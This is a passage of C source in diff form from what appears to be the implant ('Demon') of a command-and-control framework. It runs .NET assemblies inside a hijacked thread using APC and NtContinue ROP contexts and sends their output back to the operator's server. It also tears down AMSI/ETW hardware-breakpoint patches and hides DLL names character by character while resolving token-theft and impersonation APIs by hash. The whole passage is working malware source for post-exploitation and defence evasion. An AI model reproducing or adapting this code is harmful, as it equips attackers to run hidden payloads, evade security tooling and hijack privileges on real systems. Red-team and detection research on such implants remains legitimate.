Instance.Dotnet->RopInvk->Rip = U_PTR( Instance.Dotnet->MethodInfo->lpVtbl->Invoke_3 );
|
||||
Instance.Dotnet->RopInvk->Rcx = U_PTR( Instance.Dotnet->MethodInfo );
|
||||
Instance.Dotnet->RopInvk->Rdx = U_PTR( &Object );
|
||||
Instance.Dotnet->RopInvk->R8 = U_PTR( Instance.Dotnet->MethodArgs );
|
||||
Instance.Dotnet->RopInvk->R9 = U_PTR( &Instance.Dotnet->Return );
|
||||
*( PVOID* )( Instance.Dotnet->RopInvk->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance.Win32.NtTestAlert );
|
||||
|
||||
// This rop tells the main thread (our agent main thread) that the assembly executable finished executing
|
||||
Instance.Dotnet->RopEvnt->ContextFlags = CONTEXT_FULL;
|
||||
Instance.Dotnet->RopEvnt->Rsp -= U_PTR( 0x1000 * 5 );
|
||||
Instance.Dotnet->RopEvnt->Rip = U_PTR( Instance.Win32.NtSetEvent );
|
||||
Instance.Dotnet->RopEvnt->Rcx = U_PTR( Instance.Dotnet->Event );
|
||||
Instance.Dotnet->RopEvnt->Rdx = U_PTR( NULL );
|
||||
*( PVOID* )( Instance.Dotnet->RopEvnt->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance.Win32.NtTestAlert );
|
||||
|
||||
// Wait til we freed everything from the dotnet
|
||||
Instance.Dotnet->RopExit->ContextFlags = CONTEXT_FULL;
|
||||
Instance.Dotnet->RopExit->Rsp -= U_PTR( 0x1000 * 4 );
|
||||
Instance.Dotnet->RopExit->Rip = U_PTR( Instance.Win32.NtWaitForSingleObject );
|
||||
Instance.Dotnet->RopExit->Rcx = U_PTR( Instance.Dotnet->Exit );
|
||||
Instance.Dotnet->RopExit->Rdx = U_PTR( FALSE );
|
||||
Instance.Dotnet->RopExit->R8 = U_PTR( NULL );
|
||||
*( PVOID* )( Instance.Dotnet->RopExit->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance.Win32.NtTestAlert );
|
||||
|
||||
if ( ! NT_SUCCESS( Instance.Win32.NtQueueApcThread( Instance.Dotnet->Thread, Instance.Win32.NtContinue, Instance.Dotnet->RopInvk, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( Instance.Win32.NtQueueApcThread( Instance.Dotnet->Thread, Instance.Win32.NtContinue, Instance.Dotnet->RopEvnt, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( Instance.Win32.NtQueueApcThread( Instance.Dotnet->Thread, Instance.Win32.NtContinue, Instance.Dotnet->RopExit, FALSE, NULL ) ) ) goto Leave;
|
||||
|
||||
PUTS( "Resume Thread..." )
|
||||
if ( NT_SUCCESS( Instance.Win32.NtAlertResumeThread( Instance.Dotnet->Thread, NULL ) ) )
|
||||
{
|
||||
PUTS( "Apc started and assembly invoked." )
|
||||
|
||||
PackageInfo = PackageCreate( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE );
|
||||
PackageAddInt32( PackageInfo, DOTNET_INFO_ENTRYPOINT_EXECUTED );
|
||||
PackageAddInt32( PackageInfo, ClientId.UniqueThread );
|
||||
PackageTransmit( PackageInfo );
|
||||
|
||||
// we have successfully invoked the main function of the assembly executable.
|
||||
Instance.Dotnet->Invoked = TRUE;
|
||||
|
||||
} else PUTS( "NtAlertResumeThread failed" )
|
||||
|
||||
} else PUTS( "NtGetThreadContext failed" )
|
||||
|
||||
} else PUTS( "NtCreateThreadEx failed" )
|
||||
|
||||
} else PUTS( "NtCreateEvent failed" )
|
||||
*/
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/* push anything from the pipe */
|
||||
VOID DotnetPushPipe()
|
||||
{
|
||||
DWORD Read = 0;
|
||||
DWORD BytesRead = 0;
|
||||
|
||||
if ( ! Instance.Dotnet )
|
||||
return;
|
||||
|
||||
/* see how much there is in the named pipe */
|
||||
if ( Instance.Win32.PeekNamedPipe( Instance.Dotnet->Pipe, NULL, 0, NULL, &Read, NULL ) )
|
||||
{
|
||||
PRINTF( "Read: %d\n", Read );
|
||||
|
||||
if ( Read > 0 )
|
||||
{
|
||||
Instance.Dotnet->Output.Length = Read;
|
||||
Instance.Dotnet->Output.Buffer = NtHeapAlloc( Instance.Dotnet->Output.Length );
|
||||
|
||||
Instance.Win32.ReadFile( Instance.Dotnet->Pipe, Instance.Dotnet->Output.Buffer, Instance.Dotnet->Output.Length, &BytesRead, NULL );
|
||||
Instance.Dotnet->Output.Length = BytesRead;
|
||||
|
||||
PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, Instance.Dotnet->RequestID );
|
||||
PackageAddBytes( Package, Instance.Dotnet->Output.Buffer, Instance.Dotnet->Output.Length );
|
||||
PackageTransmit( Package );
|
||||
|
||||
if ( Instance.Dotnet->Output.Buffer )
|
||||
{
|
||||
MemSet( Instance.Dotnet->Output.Buffer, 0, Read );
|
||||
NtHeapFree( Instance.Dotnet->Output.Buffer )
|
||||
Instance.Dotnet->Output.Buffer = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
VOID DotnetPush()
|
||||
{
|
||||
if ( ! Instance.Dotnet )
|
||||
return;
|
||||
|
||||
PRINTF( "Instance.Dotnet->Invoked: %s\n", Instance.Dotnet->Invoked ? "TRUE" : "FALSE" )
|
||||
if ( Instance.Dotnet->Invoked )
|
||||
{
|
||||
/* Read from the assembly named pipe and send it to the server */
|
||||
DotnetPushPipe();
|
||||
|
||||
/* check if the assembly is still running. */
|
||||
/* if ( Instance.Win32.WaitForSingleObjectEx( Instance.Dotnet->Event, 0, FALSE ) == WAIT_OBJECT_0 )
|
||||
{
|
||||
PUTS( "Event has been signaled" )
|
||||
|
||||
Package = PackageCreate( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE );
|
||||
PackageAddInt32( Package, DOTNET_INFO_FINISHED );
|
||||
PackageTransmit( Package );
|
||||
|
||||
PUTS( "Dotnet Invoke thread isn't active anymore." )
|
||||
Close = TRUE;
|
||||
} */
|
||||
|
||||
/* just in case the assembly pushed something last minute... */
|
||||
DotnetPushPipe();
|
||||
|
||||
/* Now free everything */
|
||||
DotnetClose();
|
||||
}
|
||||
}
|
||||
|
||||
VOID DotnetClose()
|
||||
{
|
||||
#ifndef DEBUG
|
||||
Instance.Win32.FreeConsole();
|
||||
#endif
|
||||
|
||||
if ( Instance.Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP ) {
|
||||
HwBpEngineDestroy( NULL );
|
||||
}
|
||||
|
||||
if ( Instance.Dotnet->Event ) {
|
||||
SysNtClose( Instance.Dotnet->Event );
|
||||
}
|
||||
|
||||
if ( Instance.Dotnet->Pipe ) {
|
||||
SysNtClose( Instance.Dotnet->Pipe );
|
||||
}
|
||||
|
||||
if ( Instance.Dotnet->File ) {
|
||||
SysNtClose( Instance.Dotnet->File );
|
||||
}
|
||||
|
||||
if ( Instance.Dotnet->RopInit ) {
|
||||
MemSet( Instance.Dotnet->RopInit, 0, sizeof( CONTEXT ) );
|
||||
Instance.Win32.LocalFree( Instance.Dotnet->RopInit );
|
||||
Instance.Dotnet->RopInit = NULL;
|
||||
}
|
||||
|
||||
if ( Instance.Dotnet->RopInvk )
|
||||
{
|
||||
MemSet( Instance.Dotnet->RopInvk, 0, sizeof( CONTEXT ) );
|
||||
Instance.Win32.LocalFree( Instance.Dotnet->RopInvk );
|
||||
Instance.Dotnet->RopInvk = NULL;
|
||||
}
|
||||
|
||||
if ( Instance.Dotnet->RopEvnt )
|
||||
{
|
||||
MemSet( Instance.Dotnet->RopEvnt, 0, sizeof( CONTEXT ) );
|
||||
Instance.Win32.LocalFree( Instance.Dotnet->RopEvnt );
|
||||
Instance.Dotnet->RopEvnt = NULL;
|
||||
}
|
||||
|
||||
if ( Instance.Dotnet->RopExit )
|
||||
{
|
||||
MemSet( Instance.Dotnet->RopExit, 0, sizeof( CONTEXT ) );
|
||||
Instance.Win32.LocalFree( Instance.Dotnet->RopExit );
|
||||
Instance.Dotnet->RopExit = NULL;
|
||||
}
|
||||
|
||||
PUTS( "Free Output" )
|
||||
if ( Instance.Dotnet->Output.Buffer )
|
||||
{
|
||||
MemSet( Instance.Dotnet->Output.Buffer, 0, Instance.Dotnet->Output.Length );
|
||||
Instance.Win32.LocalFree( Instance.Dotnet->Output.Buffer );
|
||||
Instance.Dotnet->Output.Buffer = NULL;
|
||||
}
|
||||
|
||||
PUTS( "Unload and free CLR" )
|
||||
if ( Instance.Dotnet->MethodArgs )
|
||||
{
|
||||
Instance.Win32.SafeArrayDestroy( Instance.Dotnet->MethodArgs );
|
||||
Instance.Dotnet->MethodArgs = NULL;
|
||||
}
|
||||
|
||||
if ( Instance.Dotnet->MethodInfo != NULL )
|
||||
{
|
||||
Instance.Dotnet->MethodInfo->lpVtbl->Release( Instance.Dotnet->MethodInfo );
|
||||
Instance.Dotnet->MethodInfo = NULL;
|
||||
}
|
||||
|
||||
if ( Instance.Dotnet->Assembly != NULL )
|
||||
{
|
||||
Instance.Dotnet->Assembly->lpVtbl->Release( Instance.Dotnet->Assembly );
|
||||
Instance.Dotnet->Assembly = NULL;
|
||||
}
|
||||
|
||||
if ( Instance.Dotnet->AppDomain )
|
||||
{
|
||||
Instance.Dotnet->AppDomain->lpVtbl->Release( Instance.Dotnet->AppDomain );
|
||||
Instance.Dotnet->AppDomain = NULL;
|
||||
}
|
||||
|
||||
if ( Instance.Dotnet->AppDomainThunk != NULL )
|
||||
{
|
||||
Instance.Dotnet->AppDomainThunk->lpVtbl->Release( Instance.Dotnet->AppDomainThunk );
|
||||
}
|
||||
|
||||
if ( Instance.Dotnet->ICorRuntimeHost )
|
||||
{
|
||||
Instance.Dotnet->ICorRuntimeHost->lpVtbl->UnloadDomain( Instance.Dotnet->ICorRuntimeHost, Instance.Dotnet->AppDomainThunk );
|
||||
Instance.Dotnet->ICorRuntimeHost->lpVtbl->Stop( Instance.Dotnet->ICorRuntimeHost );
|
||||
Instance.Dotnet->ICorRuntimeHost = NULL;
|
||||
}
|
||||
|
||||
if ( Instance.Dotnet->ClrRuntimeInfo != NULL )
|
||||
{
|
||||
Instance.Dotnet->ClrRuntimeInfo->lpVtbl->Release( Instance.Dotnet->ClrRuntimeInfo );
|
||||
Instance.Dotnet->ClrRuntimeInfo = NULL;
|
||||
}
|
||||
|
||||
if ( Instance.Dotnet->MetaHost != NULL )
|
||||
{
|
||||
Instance.Dotnet->MetaHost->lpVtbl->Release( Instance.Dotnet->MetaHost );
|
||||
Instance.Dotnet->MetaHost = NULL;
|
||||
}
|
||||
|
||||
if ( Instance.Dotnet->Thread ) {
|
||||
SysNtTerminateThread( Instance.Dotnet->Thread, 0 );
|
||||
SysNtClose( Instance.Dotnet->Thread );
|
||||
}
|
||||
|
||||
if ( Instance.Dotnet->Exit ) {
|
||||
SysNtClose( Instance.Dotnet->Exit );
|
||||
}
|
||||
|
||||
if ( Instance.Dotnet ) {
|
||||
MemSet( Instance.Dotnet, 0, sizeof( DOTNET_ARGS ) );
|
||||
NtHeapFree( Instance.Dotnet );
|
||||
Instance.Dotnet = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL FindVersion( PVOID Assembly, DWORD length )
|
||||
{
|
||||
char* assembly_c;
|
||||
assembly_c = (char*)Assembly;
|
||||
char v4[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };
|
||||
|
||||
for (int i = 0; i < length; i++)
|
||||
{
|
||||
for (int j = 0; j < 10; j++)
|
||||
{
|
||||
if (v4[j] != assembly_c[i + j])
|
||||
break;
|
||||
else
|
||||
{
|
||||
if (j == (9))
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD ClrCreateInstance( LPCWSTR dotNetVersion, PICLRMetaHost *ppClrMetaHost, PICLRRuntimeInfo *ppClrRuntimeInfo, ICorRuntimeHost **ppICorRuntimeHost )
|
||||
{
|
||||
BOOL fLoadable = FALSE;
|
||||
|
||||
if ( RtMscoree() )
|
||||
{
|
||||
if ( Instance.Win32.CLRCreateInstance( &xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)ppClrMetaHost ) == S_OK )
|
||||
{
|
||||
if ( ( *ppClrMetaHost )->lpVtbl->GetRuntime( *ppClrMetaHost, dotNetVersion, &xIID_ICLRRuntimeInfo, (LPVOID*)ppClrRuntimeInfo ) == S_OK )
|
||||
{
|
||||
if ( ( ( *ppClrRuntimeInfo )->lpVtbl->IsLoadable( *ppClrRuntimeInfo, &fLoadable ) == S_OK ) && fLoadable )
|
||||
{
|
||||
//Load the CLR into the current process and return a runtime interface pointer. -> CLR changed to ICor which is deprecated but works
|
||||
if ( ( *ppClrRuntimeInfo )->lpVtbl->GetInterface( *ppClrRuntimeInfo, &xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (LPVOID*)ppICorRuntimeHost ) == S_OK )
|
||||
{
|
||||
//Start it. This is okay to call even if the CLR is already running
|
||||
( *ppICorRuntimeHost )->lpVtbl->Start( *ppICorRuntimeHost );
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINTF("[-] ( GetInterface ) Process refusing to get interface of %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINTF("[-] ( IsLoadable ) Process refusing to load %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINTF("[-] ( GetRuntime ) Process refusing to get runtime of %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINTF("[-] ( CLRCreateInstance ) Process refusing to create %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
PUTS("Failed to load mscoree.dll")
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
@@ -1,505 +0,0 @@
|
||||
#include <Demon.h>
|
||||
#include <Core/Runtime.h>
|
||||
#include <Core/MiniStd.h>
|
||||
|
||||
|
||||
BOOL RtAdvapi32(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 13 ] = { 0 };
|
||||
|
||||
ModuleName[ 0 ] = HideChar('A');
|
||||
ModuleName[ 2 ] = HideChar('V');
|
||||
ModuleName[ 11 ] = HideChar('L');
|
||||
ModuleName[ 10 ] = HideChar('L');
|
||||
ModuleName[ 3 ] = HideChar('A');
|
||||
ModuleName[ 8 ] = HideChar('.');
|
||||
ModuleName[ 12 ] = HideChar('\0');
|
||||
ModuleName[ 6 ] = HideChar('3');
|
||||
ModuleName[ 7 ] = HideChar('2');
|
||||
ModuleName[ 1 ] = HideChar('D');
|
||||
ModuleName[ 9 ] = HideChar('D');
|
||||
ModuleName[ 5 ] = HideChar('I');
|
||||
ModuleName[ 4 ] = HideChar('P');
|
||||
|
||||
if ( ( Instance.Modules.Advapi32 = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance.Win32.GetTokenInformation = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_GETTOKENINFORMATION );
|
||||
Instance.Win32.CreateProcessWithTokenW = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_CREATEPROCESSWITHTOKENW );
|
||||
Instance.Win32.CreateProcessWithLogonW = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_CREATEPROCESSWITHLOGONW );
|
||||
Instance.Win32.RevertToSelf = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_REVERTTOSELF );
|
||||
Instance.Win32.GetUserNameA = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_GETUSERNAMEA );
|
||||
Instance.Win32.LogonUserW = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_LOGONUSERW );
|
||||
Instance.Win32.LookupPrivilegeValueA = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_LOOKUPPRIVILEGEVALUEA );
|
||||
Instance.Win32.LookupAccountSidA = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_LOOKUPACCOUNTSIDA );
|
||||
Instance.Win32.LookupAccountSidW = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_LOOKUPACCOUNTSIDW );
|
||||
Instance.Win32.OpenThreadToken = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_OPENTHREADTOKEN );
|
||||
Instance.Win32.OpenProcessToken = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_OPENPROCESSTOKEN );
|
||||
Instance.Win32.AdjustTokenPrivileges = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_ADJUSTTOKENPRIVILEGES );
|
||||
Instance.Win32.LookupPrivilegeNameA = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_LOOKUPPRIVILEGENAMEA );
|
||||
Instance.Win32.SystemFunction032 = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_SYSTEMFUNCTION032 );
|
||||
Instance.Win32.FreeSid = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_FREESID );
|
||||
Instance.Win32.SetSecurityDescriptorSacl = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_SETSECURITYDESCRIPTORSACL );
|
||||
Instance.Win32.SetSecurityDescriptorDacl = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_SETSECURITYDESCRIPTORDACL );
|
||||
Instance.Win32.InitializeSecurityDescriptor = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_INITIALIZESECURITYDESCRIPTOR );
|
||||
Instance.Win32.AddMandatoryAce = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_ADDMANDATORYACE );
|
||||
Instance.Win32.InitializeAcl = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_INITIALIZEACL );
|
||||
Instance.Win32.AllocateAndInitializeSid = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_ALLOCATEANDINITIALIZESID );
|
||||
Instance.Win32.CheckTokenMembership = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_CHECKTOKENMEMBERSHIP );
|
||||
Instance.Win32.SetEntriesInAclW = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_SETENTRIESINACLW );
|
||||
Instance.Win32.SetThreadToken = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_SETTHREADTOKEN );
|
||||
Instance.Win32.LsaNtStatusToWinError = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_LSANTSTATUSTOWINERROR );
|
||||
Instance.Win32.EqualSid = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_EQUALSID );
|
||||
Instance.Win32.ConvertSidToStringSidW = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_CONVERTSIDTOSTRINGSIDW );
|
||||
Instance.Win32.GetSidSubAuthorityCount = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_GETSIDSUBAUTHORITYCOUNT );
|
||||
Instance.Win32.GetSidSubAuthority = LdrFunctionAddr( Instance.Modules.Advapi32, H_FUNC_GETSIDSUBAUTHORITY );
|
||||
|
||||
PUTS( "Loaded Advapi32 functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Advapi32" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// we delay loading mscoree.dll
|
||||
BOOL RtMscoree(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 12 ] = { 0 };
|
||||
|
||||
if ( Instance.Win32.CLRCreateInstance )
|
||||
return TRUE;
|
||||
|
||||
ModuleName[ 1 ] = HideChar('S');
|
||||
ModuleName[ 2 ] = HideChar('C');
|
||||
ModuleName[ 11 ] = HideChar(0);
|
||||
ModuleName[ 0 ] = HideChar('M');
|
||||
ModuleName[ 10 ] = HideChar('L');
|
||||
ModuleName[ 8 ] = HideChar('D');
|
||||
ModuleName[ 7 ] = HideChar('.');
|
||||
ModuleName[ 9 ] = HideChar('L');
|
||||
ModuleName[ 5 ] = HideChar('E');
|
||||
ModuleName[ 4 ] = HideChar('R');
|
||||
ModuleName[ 6 ] = HideChar('E');
|
||||
ModuleName[ 3 ] = HideChar('O');
|
||||
|
||||
if ( ( Instance.Modules.Mscoree = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance.Win32.CLRCreateInstance = LdrFunctionAddr( Instance.Modules.Mscoree, H_FUNC_CLRCREATEINSTANCE );
|
||||
|
||||
PUTS( "Loaded Mscoree functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Mscoree" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL RtOleaut32(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 13 ] = { 0 };
|
||||
|
||||
ModuleName[ 3 ] = HideChar('A');
|
||||
ModuleName[ 2 ] = HideChar('E');
|
||||
ModuleName[ 0 ] = HideChar('O');
|
||||
ModuleName[ 1 ] = HideChar('L');
|
||||
ModuleName[ 5 ] = HideChar('T');
|
||||
ModuleName[ 11 ] = HideChar('L');
|
||||
ModuleName[ 7 ] = HideChar('2');
|
||||
ModuleName[ 6 ] = HideChar('3');
|
||||
ModuleName[ 10 ] = HideChar('L');
|
||||
ModuleName[ 12 ] = HideChar(0);
|
||||
ModuleName[ 4 ] = HideChar('U');
|
||||
ModuleName[ 9 ] = HideChar('D');
|
||||
ModuleName[ 8 ] = HideChar('.');
|
||||
|
||||
if ( ( Instance.Modules.Oleaut32 = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance.Win32.SafeArrayAccessData = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SAFEARRAYACCESSDATA );
|
||||
Instance.Win32.SafeArrayUnaccessData = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SAFEARRAYUNACCESSDATA );
|
||||
Instance.Win32.SafeArrayCreate = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SAFEARRAYCREATE );
|
||||
Instance.Win32.SafeArrayPutElement = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SAFEARRAYPUTELEMENT );
|
||||
Instance.Win32.SafeArrayCreateVector = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SAFEARRAYCREATEVECTOR );
|
||||
Instance.Win32.SafeArrayDestroy = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SAFEARRAYDESTROY );
|
||||
Instance.Win32.SysAllocString = LdrFunctionAddr( Instance.Modules.Oleaut32, H_FUNC_SYSALLOCSTRING );
|
||||
|
||||
PUTS( "Loaded Oleaut32 functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Oleaut32" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL RtUser32(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 11 ] = { 0 };
|
||||
|
||||
ModuleName[ 1 ] = HideChar('S');
|
||||
ModuleName[ 0 ] = HideChar('U');
|
||||
ModuleName[ 10 ] = HideChar(0);
|
||||
ModuleName[ 6 ] = HideChar('.');
|
||||
ModuleName[ 8 ] = HideChar('L');
|
||||
ModuleName[ 7 ] = HideChar('D');
|
||||
ModuleName[ 5 ] = HideChar('2');
|
||||
ModuleName[ 3 ] = HideChar('R');
|
||||
ModuleName[ 9 ] = HideChar('L');
|
||||
ModuleName[ 2 ] = HideChar('E');
|
||||
ModuleName[ 4 ] = HideChar('3');
|
||||
|
||||
if ( ( Instance.Modules.User32 = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance.Win32.ShowWindow = LdrFunctionAddr( Instance.Modules.User32, H_FUNC_SHOWWINDOW );
|
||||
Instance.Win32.GetSystemMetrics = LdrFunctionAddr( Instance.Modules.User32, H_FUNC_GETSYSTEMMETRICS );
|
||||
Instance.Win32.GetDC = LdrFunctionAddr( Instance.Modules.User32, H_FUNC_GETDC );
|
||||
Instance.Win32.ReleaseDC = LdrFunctionAddr( Instance.Modules.User32, H_FUNC_RELEASEDC );
|
||||
|
||||
PUTS( "Loaded User32 functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load User32" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL RtShell32(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 12 ] = { 0 };
|
||||
|
||||
ModuleName[ 0 ] = HideChar('S');
|
||||
ModuleName[ 10 ] = HideChar('L');
|
||||
ModuleName[ 7 ] = HideChar('.');
|
||||
ModuleName[ 6 ] = HideChar('2');
|
||||
ModuleName[ 8 ] = HideChar('D');
|
||||
ModuleName[ 4 ] = HideChar('L');
|
||||
ModuleName[ 1 ] = HideChar('H');
|
||||
ModuleName[ 11 ] = HideChar(0);
|
||||
ModuleName[ 9 ] = HideChar('L');
|
||||
ModuleName[ 5 ] = HideChar('3');
|
||||
ModuleName[ 3 ] = HideChar('L');
|
||||
ModuleName[ 2 ] = HideChar('E');
|
||||
|
||||
if ( ( Instance.Modules.Shell32 = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance.Win32.CommandLineToArgvW = LdrFunctionAddr( Instance.Modules.Shell32, H_FUNC_COMMANDLINETOARGVW );
|
||||
|
||||
PUTS( "Loaded Shell32 functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Shell32" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL RtMsvcrt(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 11 ] = { 0 };
|
||||
|
||||
ModuleName[ 0 ] = HideChar('M');
|
||||
ModuleName[ 6 ] = HideChar('.');
|
||||
ModuleName[ 10 ] = HideChar(0);
|
||||
ModuleName[ 9 ] = HideChar('L');
|
||||
ModuleName[ 4 ] = HideChar('R');
|
||||
ModuleName[ 2 ] = HideChar('V');
|
||||
ModuleName[ 8 ] = HideChar('L');
|
||||
ModuleName[ 7 ] = HideChar('D');
|
||||
ModuleName[ 3 ] = HideChar('C');
|
||||
ModuleName[ 5 ] = HideChar('T');
|
||||
ModuleName[ 1 ] = HideChar('S');
|
||||
|
||||
if ( ( Instance.Modules.Msvcrt = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance.Win32.vsnprintf = LdrFunctionAddr( Instance.Modules.Msvcrt, H_FUNC_VSNPRINTF );
|
||||
Instance.Win32.swprintf_s = LdrFunctionAddr( Instance.Modules.Msvcrt, H_FUNC_SWPRINTF_S );
|
||||
|
||||
PUTS( "Loaded Msvcrt functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Msvcrt" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL RtIphlpapi(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 13 ] = { 0 };
|
||||
|
||||
ModuleName[ 8 ] = HideChar('.');
|
||||
ModuleName[ 0 ] = HideChar('I');
|
||||
ModuleName[ 10 ] = HideChar('L');
|
||||
ModuleName[ 2 ] = HideChar('H');
|
||||
ModuleName[ 9 ] = HideChar('D');
|
||||
ModuleName[ 6 ] = HideChar('P');
|
||||
ModuleName[ 11 ] = HideChar('L');
|
||||
ModuleName[ 1 ] = HideChar('P');
|
||||
ModuleName[ 3 ] = HideChar('L');
|
||||
ModuleName[ 12 ] = HideChar(0);
|
||||
ModuleName[ 5 ] = HideChar('A');
|
||||
ModuleName[ 4 ] = HideChar('P');
|
||||
ModuleName[ 7 ] = HideChar('I');
|
||||
|
||||
if ( ( Instance.Modules.Iphlpapi = LdrModuleLoad( ModuleName ) ) ) {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
Instance.Win32.GetAdaptersInfo = LdrFunctionAddr( Instance.Modules.Iphlpapi, H_FUNC_GETADAPTERSINFO );
|
||||
|
||||
PUTS( "Loaded Iphlpapi functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load Iphlpapi" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL RtGdi32(
|
||||
VOID
|
||||
) {
|
||||
CHAR ModuleName[ 10 ] = { 0 };
|
||||
|
||||
ModuleName[ 4 ] = HideChar('2');
|
||||
ModuleName[ 6 ] = HideChar('D');
|
||||
ModuleName[ 5 ] = HideChar('.');
|
||||
ModuleName[ 8 ] = HideChar('L');
|
||||
ModuleName[ 2 ] = HideChar('I');
|
||||
ModuleName[ 1 ] = HideChar('D');
|
||||
